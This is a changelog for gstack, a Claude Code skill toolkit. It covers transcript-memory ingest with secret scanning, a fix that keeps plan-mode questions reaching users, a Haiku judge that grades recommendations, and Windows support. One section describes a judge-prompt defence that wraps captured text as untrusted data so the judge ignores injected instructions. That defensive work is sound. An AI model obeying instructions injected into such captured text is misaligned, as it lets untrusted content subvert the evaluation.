Ingest 90 days of transcripts in one verb. /setup-gbrain Step 7.5 gates the bulk ingest with exact counts, the value promise, sync caveats (multi-Mac via gbrain repo, with the git-history caveat for true forget-me), and 5 options (this repo / all history / all repos / track-new-only / never).

Query the brain with gbrain query "<topic>". Code, transcripts, eureka, learnings, ceo-plans, design docs, retros, and builder-profile entries are all indexed. The brain knows what you did.

Run /setup-gbrain whenever gbrain feels off. Step 10 ships a GREEN/YELLOW/RED verdict block. Re-running the skill is now a first-class doctor path — every step detects existing state, repairs only what's missing.

/gbrain-sync orchestrates everything. One verb routes code (current repo) + memory (~/.gstack/) + transcripts to the right storage tier (Supabase Storage when configured, else local PGLite — never double-store). Modes: --incremental (default, mtime fast-path) / --full (~25-35 min honest budget for first-run on big Macs) / --dry-run.

The numbers that matter

Source: git diff --shortstat origin/main..HEAD after V1 ship + the V1 test suite (bun test test/gstack-memory-*.test.ts test/skill-e2e-memory-pipeline.test.ts).

Metric Δ

Net branch size vs main +4174 / −849 lines across 39 files

New shared library lib/gstack-memory-helpers.ts (330 LOC, 5 public functions: canonicalizeRemote, secretScanFile, detectEngineTier, parseSkillManifest, withErrorContext)

New helpers in bin/ 3 helpers — gstack-memory-ingest (580 LOC), gstack-gbrain-sync (270 LOC), gstack-brain-context-load (420 LOC)

Skills with V1 gbrain manifests 6 skills — /office-hours, /plan-ceo-review, /design-shotgun, /design-consultation, /investigate, /retro

Memory types ingested 8 types — transcript (Claude Code + Codex), eureka, learning, timeline, ceo-plan, design-doc, retro, builder-profile-entry

Tests added 65 new tests — 22 helpers + 15 ingest + 8 sync + 10 context-load + 10 E2E pipeline

New /setup-gbrain steps 2 steps — Step 7.5 (transcript ingest gate with 5-option AskUserQuestion) + Step 10 (GREEN/YELLOW/RED idempotent doctor verdict)

New user-facing reference setup-gbrain/memory.md — what gets ingested, what stays local, secret scanning via gitleaks, querying, deleting, recovery cases

Manifest schema gbrain.schema: 1, validated at gen-skill-docs time; 3 query kinds (vector / list / filesystem) with kind-specific required fields

MCP-call timeout per query 500ms hard cap; preamble never blocks > 2s on gbrain issues

Datamark envelope wrap per-page (not per-message) — single envelope around rendered body

What this means for builders

You stop describing your past work to the agent. The agent already knows. Run /office-hours and the "Welcome back, last time you were on X" beat is sourced from data. Run /investigate and it opens with "have we hit this bug class before?" instead of cold-start. Run /design-shotgun and the variants regenerate from your taste, not generic defaults.

The storage architecture lands in V1: curated memory rides the existing brain-sync git pipeline; code and transcripts route to Supabase Storage when configured (multi-Mac native) or stay local on PGLite-only Macs. Never double-store. Decision rule from D2 (sync by default) survives a CEO review and Codex outside-voice challenge: the value loop (ingest → retrieve → better decisions) requires multi-Mac to feel real.

V1 is Goldilocks scope per CEO D18 (Codex F10 strategic challenge): the value loop closes on day one. V1.5 P0 follow-ups capture: /gbrain-sync --watch daemon (deferred per F3 invariant), mcp__gbrain__code_search MCP tool (cross-repo coordination), gbrain: default one-line manifest opt-in (per F1 frontmatter passthrough is bigger than estimated), agent-agnostic gbrain context CLI, brain-trajectory observability + weekly digest, classifier-based prompt-injection defense (per F5 ONNX integration), salience MCP server-side promotion. All documented in the plan's V1.5 TODOs.

Itemized changes

Added — Foundation

lib/gstack-memory-helpers.ts — shared module imported by all V1 helpers. canonicalizeRemote (handles https/ssh/git@/.git/quotes/multi-segment), secretScanFile (gitleaks wrapper with discriminated scanner: "gitleaks" | "missing" | "error" return), detectEngineTier (cached 60s), parseSkillManifest, withErrorContext (async-aware error logging to ~/.gstack/.gbrain-errors.jsonl).

Added — Ingest pipeline

bin/gstack-memory-ingest — walks ~/.claude/projects/*/, ~/.codex/sessions/YYYY/MM/DD/, and ~/.gstack/ artifacts (eureka, learnings, timeline, ceo-plans, design-docs, retros, builder-profile). Modes: --probe / --incremental (default, mtime fast-path) / --bulk. Tolerant JSONL parser handles truncated last lines (D10 partial-flag). State at ~/.gstack/.transcript-ingest-state.json with schema_version: 1, backup-on-mismatch + JSON-corrupt recovery. gitleaks runs on every page before put_page (D19). --no-write flag for tests + dry-runs (also via GSTACK_MEMORY_INGEST_NO_WRITE=1).

bin/gstack-gbrain-sync — unified sync verb. Orchestrates 3 stages: code import → memory ingest → curated git push. Modes: --incremental / --full / --dry-run. State at ~/.gstack/.gbrain-sync-state.json (LOCAL per ED1) with per-stage outcomes. --code-only / --no-code / --no-memory / --no-brain-sync for selective stage disable.

Added — Retrieval surface

bin/gstack-brain-context-load — V1 retrieval surface. Dispatches per-skill manifest queries by kind (vector via gbrain query, list via gbrain list_pages, filesystem via local glob). 500ms hard timeout per MCP call. Datamark envelope per page. Layer 1 default fallback with 3 sections (recent transcripts + recent curated + skill-name-matched timeline) all carrying explicit repo: {repo_slug} filter (F7 cleanup). Template var substitution: {repo_slug}, {user_slug}, {branch}, {skill_name}, {window}.

Added — Skill manifests (6 V1 skills)

office-hours/SKILL.md.tmpl — 4 queries (prior-sessions list + builder-profile fs + design-doc-history fs + prior-eureka fs)

plan-ceo-review/SKILL.md.tmpl — 3 queries (prior-ceo-plans fs + recent-design-docs fs + recent-reviews list)

design-shotgun/SKILL.md.tmpl — 3 queries (prior-approved-variants fs + DESIGN.md fs + recent-design-docs fs)

design-consultation/SKILL.md.tmpl — 3 queries (existing-DESIGN.md fs + prior-design-decisions fs + brand-guidelines list)

investigate/SKILL.md.tmpl — 3 queries (prior-investigations list + project-learnings fs + recent-eureka fs)

retro/SKILL.md.tmpl — 3 queries (prior-retros fs + recent-timeline fs + recent-learnings fs)

Added — setup-gbrain idempotent doctor + ref doc

setup-gbrain/SKILL.md.tmpl Step 7.5 — Transcript & memory ingest gate. Probe → silent bulk if < 200 sessions / 100MB → AskUserQuestion with 5-option gate otherwise (this repo last 90d / all history / all repos / incremental / never).

setup-gbrain/SKILL.md.tmpl Step 10 — GREEN/YELLOW/RED verdict block. Re-running /setup-gbrain is now first-class doctor path with detect→repair→report rows for CLI / Engine / doctor / MCP / Repo policy / Code import / Memory sync / Transcripts / CLAUDE.md / Smoke.

setup-gbrain/memory.md — user-facing reference covering what gets ingested + what stays local + secret scanning + storage tiering + querying + deleting + how the agent uses it + recovery cases.

Added — Tests

test/gstack-memory-helpers.test.ts — 22 unit tests covering all 5 public helpers

test/gstack-memory-ingest.test.ts — 15 tests covering CLI surface, --probe with all source types, state file lifecycle, schema mismatch + JSON corrupt backup-on-error, truncated JSONL handling

test/gstack-gbrain-sync.test.ts — 8 tests covering --help, unknown flag rejection, --dry-run preview, --no-code stage skip, state file lifecycle, stage results recorded

test/gstack-brain-context-load.test.ts — 10 tests covering CLI surface, default fallback, manifest dispatch, datamark envelope wrap, render_as template substitution, unresolved template var skip, --quiet suppression, graceful gbrain-CLI-absence

test/skill-e2e-memory-pipeline.test.ts — 10 E2E tests exercising the full Lane A → B → C value loop with 8 fixture file types

Changed

package.json version 1.25.1.0 → 1.26.0.0

VERSION 1.25.1.0 → 1.26.0.0

For contributors

The plan file at /Users/garrytan/.claude/plans/ok-actually-lets-go-luminous-thacker.md (~890 lines) is the canonical V1 design source, including office-hours findings, CEO review expansions (6 cherry-picks accepted, 1 reverted+replaced), Codex outside-voice 10 findings (F1-F10 each resolved or deferred), eng review additions (ED1 + ED2 + 6 auto-applied implementation specs), and V1.5 P0 TODOs section with full handoff context.

Manifest schema is versioned (gbrain.schema: 1); future format changes bump the schema and require explicit migration. gen-skill-docs validates the schema at build time (kind / required fields per kind / template var resolution / unique IDs).

Lane D (cross-repo gbrain restore-from-sync with atomic swap + 7-day .bak retention per D11) is documented as V1.5 P0 TODO — gstack repo cannot write to gbrain CLI repo.

The retrieval surface helper signature is V1.5-promotion-stable: when V1.5 ships server-side mcp__gbrain__get_recent_salience / find_anomalies MCP tools, the helper switches its internals from 4-call composition to a single MCP call without changing the manifest format or any skill template.

gitleaks vendoring is a V1.0.1 follow-up; for V1.0, the helper expects gitleaks on PATH and warns once if missing. brew install gitleaks on macOS gets you covered until the vendored binary ships.

[1.25.1.0] - 2026-05-01

Office-hours stops at Phase 4 architectural forks. AskUserQuestion evals — and /codex synthesis — now grade the "because" clause.

When you run /office-hours in builder mode and it reaches Phase 4 (Alternatives Generation), the agent now actually asks you to pick between A/B/C instead of writing "Recommendation: C because..." in chat prose and proceeding straight to the design doc. The previous Phase 4 footer was soft prose ("Present via AskUserQuestion. Do NOT proceed without user approval"); the new one matches the hard STOP. pattern from plan-ceo-review's 0C-bis gate, names the blocked next steps (Phase 4.5 / Phase 5 / Phase 6 / design-doc generation), and rejects the "clearly winning approach so I'll just apply it" reasoning.

Format-compliance evals on AskUserQuestion now do more than confirm a Recommendation: line exists. A new Haiku 4.5 judge grades the "because " clause on a 1-5 substance rubric: 5 = specific tradeoff vs an alternative; 3 = generic ("because it's faster"); 1 = boilerplate. Tests fail at threshold ≥ 4, catching the exact failure mode where agents write "Recommendation: B because it's better" — present but useless.

The same rigor extends to cross-model synthesis surfaces that previously emitted prose without a structured recommendation. /codex review, /codex challenge, /codex consult, and the Claude adversarial subagent (plus Codex's adversarial pass in /ship Step 11) now MUST emit a canonical Recommendation: <action> because <reason> line at the end of their synthesis. The reason must compare against alternatives (a different finding, fix-vs-ship, fix-order tradeoff) — generic synthesis ("because adversarial review found things") fails the format check.

What you can now do

Run /office-hours builder mode in Conductor and trust the Phase 4 gate. The architectural fork (server-side vs client-side vs hybrid, or whatever shape your project has) actually surfaces for you to decide. The agent stops cold at Phase 4 until you respond.

Catch weak recommendations in CI. Periodic-tier evals on /plan-ceo-review, /plan-eng-review, and /office-hours now grade recommendation substance via Haiku 4.5 (~$0.005/judge call). Generic "because it's faster" reasoning fails the gate.

Get an actionable line out of every /codex run. Review, challenge, and consult modes all now end with Recommendation: <action> because <reason> — one line you can act on without re-reading the full Codex transcript. Same for the Claude adversarial subagent and Codex adversarial pass that auto-run in /ship Step 11.

The numbers that matter

Source: paid evals run on this branch (EVALS=1 EVALS_TIER=periodic bun test ...). Six recommendation-quality evals: 4 plan-format + 1 office-hours Phase 4 + 1 fixture sanity test.

Metric Before After Δ

Recommendation-quality eval coverage regex only (Choose literal required) regex + Haiku 4.5 judge substance-graded

Office-hours Phase 4 silent auto-decide possible regression test gates trapped

Phase 4 eval cost per run n/a (test didn't exist) $0.36, 4 turns, 36s, substance 5 new

Plan-format judge threshold none (regex only) reason_substance >= 4 catches generic

Test fixture coverage for judge rubric manual revert/re-apply sabotage 13 hand-graded fixtures deterministic

judgeRecommendation branch coverage n/a 14/14 (100%) new

What this means for builders

If you've been running /office-hours in builder mode and noticed your design doc had architectural choices baked in that you didn't make, that was the bug. Phase 4's footer wasn't strong enough to keep the agent from rationalizing through the gate. After upgrading, the agent stops, asks, and waits.

If you've been writing skill templates with Recommendation: <choice> because <reason> and noticing the agent sometimes ships generic reasons, the new judge catches that. Run the format-regression evals against your skill (or copy the pattern into your own E2E tests) and Haiku will rate the because-clause substance. Generic reasons fail at threshold 4; specific tradeoff reasons (level 5) pass.

Itemized changes

Added — judgeRecommendation helper + regression tests

test/helpers/llm-judge.ts gets judgeRecommendation() plus the RecommendationScore interface. Layered design: deterministic regex parses present / commits / has_because (no LLM call needed for booleans, and the function returns substance=1 immediately when the because-clause is missing). Haiku 4.5 grades only the 1-5 reason_substance axis on a tight rubric scoped to the because-clause itself with the surrounding menu as untrusted context.

callJudge() generalized with an optional model arg defaulting to Sonnet 4.6. Existing callers (judge, outcomeJudge, judgePosture) unchanged.

test/skill-e2e-office-hours-phase4.test.ts (new, periodic-tier) — SDK + captureInstruction regression test for the Phase 4 silent-auto-decide bug. Extracts only the AskUserQuestion Format + Phase 4 sections from office-hours/SKILL.md (per CLAUDE.md "extract, don't copy") rather than copying the full skill, saving ~30% per run on Opus tokens.

test/llm-judge-recommendation.test.ts (new, periodic-tier) — 13 hand-graded fixtures covering substance 5 / 4 / 3 / 1, no-because, no-recommendation, and 6 distinct hedging forms. Replaces the original "manually inject bad text into a captured file and revert the SKILL template" sabotage step with deterministic negative coverage.

test/helpers/e2e-helpers.ts gets assertRecommendationQuality() + RECOMMENDATION_SUBSTANCE_THRESHOLD constant. Collapses the 5x duplicated 22-line judge-assertion block (4 plan-format cases + 1 Phase 4) into a single helper call.

Changed — office-hours Phase 4 STOP gate

office-hours/SKILL.md.tmpl Phase 4 footer rewritten with a hard **STOP.** token (matching plan-ceo-review/SKILL.md.tmpl:248-252's 0C-bis pattern), named blocked next steps (Phase 4.5 Founder Signal Synthesis, Phase 5 Design Doc, Phase 6 Closing, design-doc generation), and an explicit anti-rationalization line ("A 'clearly winning approach' is still an approach decision"). Preserves the preamble's no-variant fallback path explicitly (write ## Decisions to confirm to the plan file + ExitPlanMode).

test/skill-e2e-plan-format.test.ts — wired the new judge into all 4 cases (CEO mode, CEO approach, eng coverage, eng kind). Threshold reason_substance >= 4 catches both boilerplate and generic-tier reasoning. Dropped the strict Choose regex (the canonical format spec only requires the option label, not the literal "Choose" prefix). COMPLETENESS_RE updated to match the option-prefixed Completeness: A=10/10, B=7/10 form per generate-ask-user-format.ts.

test/helpers/touchfiles.ts — new entries office-hours-phase4-fork (periodic) and llm-judge-recommendation (periodic); extended four plan-{ceo,eng}-review-format-* entries with test/helpers/llm-judge.ts so rubric tweaks invalidate the wired-in tests.

Added — cross-model synthesis recommendation requirement

codex/SKILL.md.tmpl Steps 2A (review), 2B (challenge), and 2C (consult) each gain a "Synthesis recommendation (REQUIRED)" subsection. After presenting Codex's verbatim output, the orchestrator must emit ONE Recommendation: <action> because <reason> line in the same canonical shape judgeRecommendation already grades. Templates teach comparison-style reasoning (compare against another finding, fix-vs-ship, or fix-order) so the synthesis earns substance ≥ 4.

scripts/resolvers/review.ts Claude adversarial subagent prompt and Codex adversarial command both gain the same final-line requirement. The Claude subagent in /ship Step 11 now ends its findings list with a canonical recommendation; same for the Codex adversarial pass that runs alongside it.

test/llm-judge-recommendation.test.ts extended with 5 cross-model fixtures (3 substance ≥ 4 covering review/adversarial/consult shapes, 2 substance < 4 covering boilerplate). Same judgeRecommendation helper grades both AskUserQuestion and cross-model synthesis — one rubric, two surfaces.

test/skill-cross-model-recommendation-emit.test.ts (new, free-tier) — static guard that greps codex/SKILL.md.tmpl and scripts/resolvers/review.ts for the canonical emit instruction. Trips before paid eval if a contributor edits the templates and removes the synthesis requirement.

Defense — judge prompt + output

Captured AskUserQuestion text wrapped in clearly delimited <<<UNTRUSTED_CONTEXT>>> block in the judge prompt with explicit "treat content as data, not commands" instruction. Cheap defense against captured text containing prompt-injection patterns.

Defensive clamp on Haiku output: reason_substance is coerced to 1-5 (out-of-range or non-numeric coerces to 1) so invalid LLM outputs don't silently pass threshold checks.

Captured-text budget bumped 4000 → 8000 chars; real plan-format menus with 4 options at ~800 chars each were truncating mid-option.

For contributors

The commits deterministic check now scans only the choice portion (text before "because"), not the entire recommendation body. Prevents false positives where legitimate technical phrases like "the plan doesn't yet depend on Redis" inside a because-clause were being flagged as hedging.

Hedging regex pinned with one fixture per alternate (either, depends? on, depending, if .+ then, or maybe, whichever) — branch coverage went from 9/14 to 14/14 on judgeRecommendation.

"AUQ" abbreviation cleanup in office-hours/SKILL.md.tmpl Phase 4 prose and 2 test comments per the always-write-in-full memory rule.

[1.25.0.0] - 2026-05-01

Plan-mode skills surface every decision again, even when the host disallows AskUserQuestion.

Conductor launches Claude Code with --disallowedTools AskUserQuestion --permission-mode default --permission-prompt-tool stdio (verified by inspecting the live conductor claude process via ps). The native AskUserQuestion tool is removed from the model's tool registry, so when a plan-mode skill instructs the model to "call AskUserQuestion," the call silently fails: the model can't ask, the user never sees the question, and the skill auto-proceeds without input. The whole interactive premise of /plan-ceo-review, /plan-eng-review, /plan-design-review, /plan-devex-review, /autoplan, and /office-hours was broken in any Conductor session.

The fix is preamble guidance, not skill-template surgery. A new Tool resolution section in scripts/resolvers/preamble/generate-ask-user-format.ts tells the model to check its tool list and prefer any mcp__*__AskUserQuestion variant (e.g. mcp__conductor__AskUserQuestion) over the native tool. Hosts that disable native AskUserQuestion register their own MCP variant; the variant takes the same questions/options shape and the host renders the prompt through its own UI surface. If neither variant is callable, the model falls back to writing a ## Decisions to confirm section into the plan file and calling ExitPlanMode — plan-mode's native "Ready to execute?" confirmation surfaces the decisions through TTY UI. Never silently auto-decide.

Six gate-tier real-PTY regression tests reproduce the exact Conductor flag set (extraArgs: ['--disallowedTools', 'AskUserQuestion']) for every plan-mode skill, plus a periodic-tier eval that protects the legitimate /plan-tune AUTO_DECIDE opt-in path from being broken by the fix. The harness gains a new 'auto_decided' outcome and whitespace-tolerant detectors that survive TTY cursor-positioning escape sequences (which stripAnsi removes without leaving spaces, collapsing "ready to execute" to "readytoexecute").

What you can now do

Use plan-mode review skills in Conductor. Open a Conductor workspace, run /plan-ceo-review against a plan, and the scope-mode question actually appears for you to answer. Same for /plan-eng-review, /plan-design-review, /plan-devex-review, /autoplan's premise gate, and /office-hours.

Stay in control under --disallowedTools without writing template overrides. The Tool resolution section sits at preamble position 1 in every tier-≥2 skill; new hosts that disable native AUQ via the same pattern get the fix transparently as long as they register an MCP variant.

Opt-in to AUTO_DECIDE without losing the regression guard. /plan-tune users who set never-ask for specific questions keep auto-pick under Conductor flags; the periodic-tier auto-decide-preserved eval protects this path.

The numbers that matter

Source: ps -p <conductor-claude-pid> -o args= for the regression mechanism (verified primary source). 6 new gate-tier regression cases + 1 periodic-tier AUTO_DECIDE eval; coverage in test/skill-e2e-plan-{ceo,eng,design,devex}-plan-mode.test.ts (parameterized inline) + test/skill-e2e-{autoplan,office-hours}-auto-mode.test.ts (standalone) + test/skill-e2e-auto-decide-preserved.test.ts (periodic).

Surface Shape

Skills that regain interactivity in Conductor 6 (/plan-ceo-review, /plan-eng-review, /plan-design-review, /plan-devex-review, /autoplan, /office-hours)

New gate-tier regression test cases 6 (one per skill; --disallowedTools AskUserQuestion parameterized)

New periodic-tier eval 1 (auto-decide-preserved, protects /plan-tune opt-in path)

New ClassifyResult outcome auto_decided — TTY shows "Auto-decided … (your preference)"

New runPlanSkillObservation parameter extraArgs?: string[] — plumbs raw flags to spawned claude

Preamble resolvers touched 2 (generate-ask-user-format.ts, generate-completion-status.ts)

SKILL.md files regenerated 41

classifyVisible branch order silent_write → auto_decided → plan_ready → asked (each more specific than the next)

Whitespace-tolerant detectors isPlanReadyVisible, isAutoDecidedVisible (defeats stripAnsi cursor-positioning collapse)

Verified by ps -p <conductor-claude-pid> -o args= showing --disallowedTools AskUserQuestion --permission-mode default

What this means for builders

If you ran /plan-ceo-review or any plan-mode review skill in Conductor before this release, the skill silently produced a plan you didn't shape — the scope-mode question, expansion proposals, and per-section STOPs never reached you. After upgrading, the skill stops for every gate the template defines. The fix is in the preamble, so you don't update skill templates yourself — just upgrade gstack and the next plan review you run honors your input.

If you opted into auto-deciding specific questions via /plan-tune, the periodic eval guards that path. The fix is "prefer MCP variant when registered," not "force every question to surface" — your never-ask preferences still auto-pick, the AUTO_DECIDE annotation still renders, nothing changes for opt-in users.

The gstack-side regression test surface now mirrors what real users hit. Each plan-mode test file gained a second test() block that sets extraArgs: ['--disallowedTools', 'AskUserQuestion'] and asserts the AskUserQuestion still surfaces. Builds on v1.21.1.0's classifyVisible() extraction — the new auto-decided branch slots in cleanly between silent_write and plan_ready.

Itemized changes

Added — Tool resolution preamble

scripts/resolvers/preamble/generate-ask-user-format.ts gets a new ### Tool resolution (read first) section at the top of the AskUserQuestion Format block. Tells the model: AskUserQuestion can resolve to two tools at runtime (host MCP variant or native); prefer any mcp__*__AskUserQuestion variant in the tool list over native; hosts may disable native via --disallowedTools AskUserQuestion (Conductor does this by default); same questions/options shape and decision-brief format applies to the MCP variant. Includes a fallback path when neither variant is callable: write the decision into the plan file as ## Decisions to confirm + ExitPlanMode.

scripts/resolvers/preamble/generate-completion-status.ts (the plan-mode-info block at preamble position 1) updated to point at the Tool resolution section: AskUserQuestion satisfies plan mode's end-of-turn requirement for "any variant," with the plan-file fallback for the no-variant case.

Added — regression tests

4 inline test() blocks added to test/skill-e2e-plan-{ceo,eng,design,devex}-plan-mode.test.ts. Each spawns claude with extraArgs: ['--disallowedTools', 'AskUserQuestion'] and asserts the skill still surfaces the question — pass envelope ['asked', 'plan_ready'] (the latter covers the plan-file fallback flow), failure signals are 'auto_decided' (caught explicitly) plus the standard silent_write/exited/timeout.

test/skill-e2e-autoplan-auto-mode.test.ts (new). Asserts autoplan's first non-auto-decided gate (Phase 1 premise confirmation) still surfaces. Autoplan auto-decides intermediate questions BY DESIGN, so the test scopes to gates the user MUST see.

test/skill-e2e-office-hours-auto-mode.test.ts (new). Asserts office-hours' startup-vs-builder mode AskUserQuestion still surfaces.

test/skill-e2e-auto-decide-preserved.test.ts (new, periodic-tier). Sets up an isolated GSTACK_HOME tmpdir, writes question_tuning=true + a never-ask preference for plan-ceo-review-mode (source 'plan-tune'), runs /plan-ceo-review under --disallowedTools AskUserQuestion, asserts outcome is NOT 'asked' (the model honored the opt-in).

Changed — PTY harness

test/helpers/claude-pty-runner.ts: runPlanSkillObservation accepts new optional extraArgs?: string[] (plumbs straight through to launchClaudePty, which already supported the field). ClassifyResult gains 'auto_decided' outcome plus isAutoDecidedVisible(visible) detector that matches the AUTO_DECIDE preamble template (Auto-decided … (your preference)). classifyVisible branch order extended to silent_write → auto_decided → plan_ready → asked so an upstream auto-decide isn't masked by a downstream plan-mode confirmation.

Whitespace-tolerant detection: isPlanReadyVisible and isAutoDecidedVisible now test both spaced and whitespace-collapsed forms of their target phrases. stripAnsi removes cursor-positioning escapes (\x1b[40C) without replacing them with spaces, so "ready to execute" can come through as "readytoexecute" — the spaced regex would miss it.

Changed — touchfiles

test/helpers/touchfiles.ts: existing plan-X-review-plan-mode entries gain scripts/resolvers/question-tuning.ts and scripts/resolvers/preamble/generate-ask-user-format.ts as touchfile dependencies, so AUTO_DECIDE-bearing resolver changes correctly invalidate the regression cases.

New entries: autoplan-auto-mode (gate), office-hours-auto-mode (gate), auto-decide-preserved (periodic).

test/touchfiles.test.ts: count of tests selected by plan-ceo-review/SKILL.md updates from 19 to 21 to cover the new entries that depend on plan-ceo-review/**.

For contributors

The PTY harness's auto_decided outcome is a defense-in-depth signal: it fires on the AUTO_DECIDE preamble template wording, which is non-deterministic. Treat it as evidence of a regression, not a hard contract.

The Tool resolution section is the surgical fix site for any future host that disables native AUQ similarly. The pattern: register a mcp__<host>__AskUserQuestion MCP tool; the gstack preamble already tells the model to prefer it. No skill-template changes needed per-host.

auto-decide-preserved runs in an isolated GSTACK_HOME tmpdir to avoid mutating the developer's real ~/.gstack state. When debugging, set GSTACK_HOME manually to a scratch dir and run the same setup the test does (gstack-config set question_tuning true, then gstack-question-preference --write).

[1.24.0.0] - 2026-04-30

Cross-platform hardening. Mac + Linux full, curated Windows lane added.

v1.24.0.0 ports the McGluut fork's portability work into upstream and adds a curated Windows test job that actually runs green. bin/gstack-paths consolidates state-root resolution behind one helper sourced via eval "$(...)" from skill bash blocks; eight skills (careful, freeze, guard, unfreeze, investigate, context-save, context-restore, learn, office-hours, plan-tune, codex) move off inline ${CLAUDE_PLUGIN_DATA:-...} chains. Bun.which() replaces 75 lines of fork-side PATH-resolution code in a new browse/src/claude-bin.ts wrapper, wired through five hardcoded claude spawn sites. A new windows-free-tests GitHub Actions job runs a curated 103-test subset on windows-latest plus targeted resolver tests; evals.yml stays Linux-container as it should. AGENTS.md and docs/skills.md sync to the live skill inventory (40+ skills, was 21); /debug → /investigate, missing skills added, stale <5s bun test claim dropped. Hardening direction credited to the McGluut fork.

The numbers that matter

Branch totals come from git diff --shortstat origin/main..HEAD after every lane lands. Curation numbers come from bun run scripts/test-free-shards.ts --windows-only --list.

Metric Δ

New shared resolvers 2 modules — bin/gstack-paths (61 LOC), browse/src/claude-bin.ts (73 LOC)

Inline state-root chains consolidated 8 skills (was 5 in initial scope; 3 more found during T1)

Hardcoded claude spawn sites rewired 5 sites — security-classifier.ts:396, :496, preflight-agent-sdk.ts, helpers/providers/claude.ts, helpers/agent-sdk-runner.ts

Fork's 95-LOC claude-bin.ts reimplementation −75 lines — replaced by Bun.which() + 18 LOC of override+args wrapping

Windows-safe curated subset 103 of 128 free tests (80%) run on windows-latest; 25 excluded with reasons

New tests added +31 tests — gstack-paths (8), claude-bin (9), test-free-shards (14)

New invariant tests +3 — private-path leak detector + 2 doc-inventory cross-checks in test/skill-validation.test.ts

Skill inventory documented 40+ skills in AGENTS.md + docs/skills.md (was 21 in AGENTS.md; /debug → /investigate)

Free test suite 318 pass, 0 fail (bun test test/skill-validation.test.ts)

Component Coverage

bin/gstack-paths 8 unit tests covering all three fallback chains

browse/src/claude-bin.ts 9 unit tests including the override-PATH-resolution case the fork's version got wrong

scripts/test-free-shards.ts 14 unit tests covering enumeration, sharding, and Windows-fragility detection

What this means for builders

Plugin installs work. If you install gstack as a Claude Code plugin, CLAUDE_PLUGIN_DATA and CLAUDE_PLANS_DIR now flow through every skill's bash blocks. Previously eight skills hardcoded ${GSTACK_HOME:-$HOME/.gstack} inline; now they all source bin/gstack-paths and pick up the plugin-managed roots automatically. No more "plugin install can't find its own state" footgun.

Windows is a real lane. A windows-free-tests GitHub Actions job runs 103 curated tests on windows-latest plus targeted Claude resolver tests. The curation script (scripts/test-free-shards.ts --windows-only) excludes tests that hardcode /bin/bash, sh -c, or raw /tmp/ paths — those exclusions are tracked as a follow-up TODO since they're the gap between "curated lane" and "full Windows parity." The setup script (./setup) still requires Git Bash or MSYS on Windows; native PowerShell support is a future expansion explicitly named in AGENTS.md. No "all green" overclaim — the headline says "curated Windows lane" because that's what this release delivers.

Override the claude binary. Set GSTACK_CLAUDE_BIN=wsl plus GSTACK_CLAUDE_BIN_ARGS='["claude"]' and every gstack call site routes Claude through WSL. Three shared resolution layers — Bun.which() for the platform handling, a thin wrapper for the override + arg-prefix logic, and five wired-through call sites — eliminate the "works on Mac, fails on Windows" failure mode for the security classifier, the preflight check, the LLM judge, and the agent SDK harness.

The fork loop reads. McGluut shipped three commits of real hardening work without filing a PR upstream. We read it, kept the engineering, dropped the framing, and credited where credit is due. Future forks: the contribution path is git remote add + open a PR; the take here is the proof that we read what's out there.

Itemized changes

Added

bin/gstack-paths: bash helper that resolves GSTACK_STATE_ROOT, PLAN_ROOT, TMP_ROOT with explicit fallback chains. Sourced via eval "$(~/.claude/skills/gstack/bin/gstack-paths)". Honors GSTACK_HOME → CLAUDE_PLUGIN_DATA → $HOME/.gstack → .gstack; GSTACK_PLAN_DIR → CLAUDE_PLANS_DIR → $HOME/.claude/plans → .claude/plans; TMPDIR → TMP → .gstack/tmp. Best-effort mkdir -p on tmp root; never fails the eval. Pattern matches existing bin/gstack-slug and bin/gstack-codex-probe.

browse/src/claude-bin.ts: thin (~70 LOC) wrapper around Bun.which() for cross-platform claude binary resolution. Honors GSTACK_CLAUDE_BIN / CLAUDE_BIN env override (absolute path or PATH-resolvable), and GSTACK_CLAUDE_BIN_ARGS / CLAUDE_BIN_ARGS arg-prefix (JSON array or scalar). Override values go through Bun.which() so GSTACK_CLAUDE_BIN=wsl resolves correctly — fixing the bug codex flagged in the fork's 95-LOC reimplementation.

scripts/test-free-shards.ts: enumerates the free test suite, supports stable-hash sharding (FNV-1a), and provides a --windows-only filter that scans each test's content for POSIX-bound patterns (/bin/sh, sh -c, raw /tmp/, chmod, xargs, which claude). Adapted from McGluut's fork (190 LOC sharding logic) with the Windows curation filter added by upstream.

.github/workflows/windows-free-tests.yml: separate non-container job that runs bun run test:windows on windows-latest, plus targeted browse/test/claude-bin.test.ts and test/gstack-paths.test.ts runs. NOT a matrix entry on the existing Linux-container evals.yml (correctly flagged by codex as not a drop-in).

test/gstack-paths.test.ts: 8 unit tests covering all three fallback chains (HOME unset, CLAUDE_PLUGIN_DATA set, GSTACK_HOME wins, etc.).

browse/test/claude-bin.test.ts: 9 unit tests including the override-PATH-resolution case the fork's version got wrong.

test/test-free-shards.test.ts: 14 unit tests covering enumeration, paid-eval filtering, Windows-fragility detection, and stable sharding.

test/skill-validation.test.ts: 3 new invariant tests — private-path leak detector (catches accidental references to maintainer-only files in any SKILL.md or SKILL.md.tmpl) and 2 doc-inventory cross-checks (every skill directory must appear in AGENTS.md and docs/skills.md).

Changed

11 SKILL.md.tmpl files migrated off inline ${CLAUDE_PLUGIN_DATA:-...} or ${GSTACK_HOME:-$HOME/.gstack} chains: careful, freeze, guard, unfreeze, investigate, context-save, context-restore, learn, office-hours, plan-tune, codex. Each now sources bin/gstack-paths and reads $GSTACK_STATE_ROOT (or $PLAN_ROOT / $TMP_ROOT for codex).

codex/SKILL.md.tmpl: new Step 0.6 "Resolve portable roots" sources gstack-paths. Replaces hardcoded ~/.claude/plans/*.md with "$PLAN_ROOT"/*.md (3 sites) and mktemp /tmp/codex-*-XXXXXX.txt with mktemp "$TMP_ROOT/codex-*-XXXXXX.txt" (3 sites). Skill now works in Claude Code plugin installs without modification.

browse/src/security-classifier.ts: routes 2 hardcoded spawn('claude', ...) calls (version probe at :396, inference call at :496) through resolveClaudeCommand(). Honors GSTACK_CLAUDE_BIN override; degrades gracefully when claude unavailable.

scripts/preflight-agent-sdk.ts: replaces execSync('which claude') with resolveClaudeBinary(). Cross-platform, no shell dependency.

test/helpers/providers/claude.ts: available() and run() both go through resolveClaudeCommand(). The previous spawnSync('sh', ['-c', 'command -v claude']) was a Windows blocker on its own.

test/helpers/agent-sdk-runner.ts: resolveClaudeBinary() now delegates to the shared resolver.

AGENTS.md: rewrote the skill table from 21 entries to 40+, organized by category (plan reviews, implementation, release, operational, browser, safety). /debug → /investigate. Stale <5s bun test claim dropped — there's no realistic universal claim to make about test suite duration with periodic + gate + free tiers all in play.

